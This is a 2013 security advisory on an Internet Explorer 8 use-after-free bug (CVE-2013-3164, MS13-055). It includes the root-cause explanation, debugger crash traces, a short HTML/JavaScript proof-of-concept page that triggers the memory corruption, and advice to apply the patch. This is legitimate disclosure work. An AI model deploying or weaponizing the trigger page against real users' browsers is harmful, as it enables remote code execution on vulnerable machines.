security-assessment.com

Vulnerability Advisory

Name	Microsoft Internet Explorer 'CTextDisplayBox' Use-After-Free Vulnerability (MS13-055)
CVE	CVE-2013-3164
Vendor Website	http://www.microsoft.com/
Date Released	09/07/2013
Affected Software	Microsoft Internet Explorer 8
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in Microsoft Internet Explorer 8. This allows a malicious user to remotely execute arbitrary code on a vulnerable user's machine, in the context of the current user.

When CSS display styling is performed on a CParaElement it causes a use-after-free condition. The CSS 'display: run-in' forces the CParaElement to be displayed as a block element. CWhiteSPaceManager performs RemoveWhitespacePlaceholder on the CParaElement which causes a child text node to be freed. This text node is then re-accessed when a DOM re-layout is performed at which point freed memory is accessed and the crash occurs.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.

The following table shows some cursory debug information. In the heap trace EAX has been freed and then referenced by mshtml!SLayoutRun::GetCharacters:

Debug Information

```
(904.8b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=06f92fd8 ebx=00000000 ecx=00000301 edx=00000301 esi=03116974 edi=05d3efd0
eip=3d02bdef esp=03116908 ebp=03116910 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010297
mshtml!SLayoutRun::GetCharacters+0x26:
3d02bdef 8b480c          mov     ecx,dword ptr [eax+0Ch] ds:0023:06f92fe4=????????
1:026> !heap -p -a eax
    address 06f92fd8 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                              67a3b08:          6f92000             2000
    7c91a1ba ntdll!RtlFreeHeap+0x000000f9
    3cf45679 mshtml!CTreePos::Release+0x00000030
    3ceeeac9 mshtml!CSpliceTreeEngine::RemoveSplice+0x00000a09
    3cee7913 mshtml!CMarkup::SpliceTreeInternal+0x00000083
    3ceea0f1 mshtml!CDoc::CutCopyMove+0x000000ca
    3ceea61d mshtml!CDoc::Remove+0x00000018
    3d1e6356 mshtml!CWhitespaceManager::RemoveWhitespacePlaceholder+0x0000007b
    3d10aa57 mshtml!CWhitespaceManager::ApplyPre+0x0000018e
    3d09b0c9 mshtml!CWhitespaceManager::ApplyChangesToNode+0x000000a2
    3d09b290 mshtml!CWhitespaceManager::DeferredApplyChanges+0x000000f6
```

```
    3cf8a639 mshtml!GlobalWndOnMethodCall+0x000000fb
    3cf75328 mshtml!GlobalWndProc+0x00000183
    7e418734 USER32!InternalCallWinProc+0x00000028
    7e418816 USER32!UserCallWinProcCheckWow+0x00000150
    7e4189cd USER32!DispatchMessageWorker+0x00000306
    7e418a10 USER32!DispatchMessageW+0x0000000f


1:026> k
ChildEBP RetAddr
03116910 3d02c501 mshtml!SLayoutRun::GetCharacters+0x26
03116944 3d02e437 mshtml!CLsClient::FetchRun+0x27e
031169c8 3d02cdbc mshtml!Ptls5::LsCloseCurrentBorder+0x441
03116abc 3d02cbc4 mshtml!Ptls5::LsQuickFormatting+0x3ad
03116af8 3d030421 mshtml!Ptls5::LsFormatMainLine+0x1ac
03116cd8 3d030227 mshtml!Ptls5::LsCreateLineCore+0x3ea
03116d18 3d0301eb mshtml!Ptls5::LsCreateLineGivenBreak+0x32
03116d98 3d04f010 mshtml!CLsClient::CreateLine+0x160
03116da8 3d04e830 mshtml!CLsClient::ReCreateLineForDisplay+0x67
03116e5c 3cf9b6f4 mshtml!CTextDisplayBox::DrawClient+0x1e6
03117214 3cf99167 mshtml!CDispLeafNode::DrawSelf+0x432
03117360 3cf997b3 mshtml!CDispNode::Draw+0x217
03117388 3d04e4fe mshtml!CDispContainer::DrawChildren+0x56
031174d4 3d04e36f mshtml!CDispContainer::DrawChildrenInActiveLayer+0x7e
03117620 3cf997b3 mshtml!CDispNode::Draw+0x207
03117648 3d04e4fe mshtml!CDispContainer::DrawChildren+0x56
03117794 3d04e36f mshtml!CDispContainer::DrawChildrenInActiveLayer+0x7e
031178e0 3cf997b3 mshtml!CDispNode::Draw+0x207
03117908 3d04e4fe mshtml!CDispContainer::DrawChildren+0x56
03117a54 3d04e36f mshtml!CDispContainer::DrawChildrenInActiveLayer+0x7e
03117ba0 3cf997b3 mshtml!CDispNode::Draw+0x207
03117bc8 3d04ca8d mshtml!CDispContainer::DrawChildren+0x56
03117c78 3cf996dd mshtml!CDispContainer::DrawContentAdvanced+0x9b
03117e4c 3cf99167 mshtml!CDispContainer::DrawSelf+0x2b4
03117f98 3cf997b3 mshtml!CDispNode::Draw+0x217
03117fc0 3cf99743 mshtml!CDispContainer::DrawChildren+0x56
03118184 3cf99167 mshtml!CDispContainer::DrawSelf+0x28a
031182d0 3cf997b3 mshtml!CDispNode::Draw+0x217
031182f8 3cf99743 mshtml!CDispContainer::DrawChildren+0x56
031184bc 3cf99167 mshtml!CDispContainer::DrawSelf+0x28a
03118608 3cea9111 mshtml!CDispNode::Draw+0x217
0311a9e8 3cea94d3 mshtml!CDispRoot::DrawBand+0xd1
0311ad68 3cea93cc mshtml!CDispRoot::DrawBands+0x102
0311d56c 3cf98f9a mshtml!CDispRoot::DrawRoot+0x383
0311d61c 3cf98306 mshtml!CView::RenderView+0x3b6
0311dad0 3cf7efe9 mshtml!CDoc::OnPaint+0x5c7
0311db04 3cfa96ef mshtml!CServer::OnWindowMessage+0x38f
0311dc2c 3cfa95c9 mshtml!CDoc::OnWindowMessage+0x16c
0311dc58 7e418734 mshtml!CServer::WndProc+0x78
0311dc84 7e418816 USER32!InternalCallWinProc+0x28
0311dcec 7e428ea0 USER32!UserCallWinProcCheckWow+0x150
0311dd40 7e428eec USER32!DispatchClientMessage+0xa3
0311dd68 7c90e473 USER32!__fnDWORD+0x24
0311dd8c 7e4194d2 ntdll!KiUserCallbackDispatcher+0x13
0311ddd4 7e418a10 USER32!NtUserDispatchMessage+0xc
0311dde4 3e2ec1dd USER32!DispatchMessageW+0xf
0311feec 3e2932ef IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c
0311ffa4 3e137e91 IEFRAME!LCIETab_ThreadProc+0x2c1
0311ffb4 7c80b729 iertutil!CIsoScope::RegisterThread+0xab
0311ffec 00000000 kernel32!BaseThreadStart+0x37
```

The following HTML proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<!DOCTYPE HTML>
<html>
<head>
<script>
function boom() {
//Setup objects
document.body.innerHTML = "<b><p>a</b><hr></hr></p>"

//Free object
setTimeout(function(){
        document.styleSheets[0].cssText = "p{display: run-in; white-space: pre}"
        CollectGarbage()
        }, 500)

//Trigger
setTimeout(function(){
        document.body.innerHTML += "boo"
        }, 1000)
}
</script>
<style>
</style>
</head>
<body onload='boom()'>
</body>
</html>
```

Solution

Microsoft validated this security issue in Internet Explorer 8 and issued a patch (MS13-055) to remedy it. Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 460 2596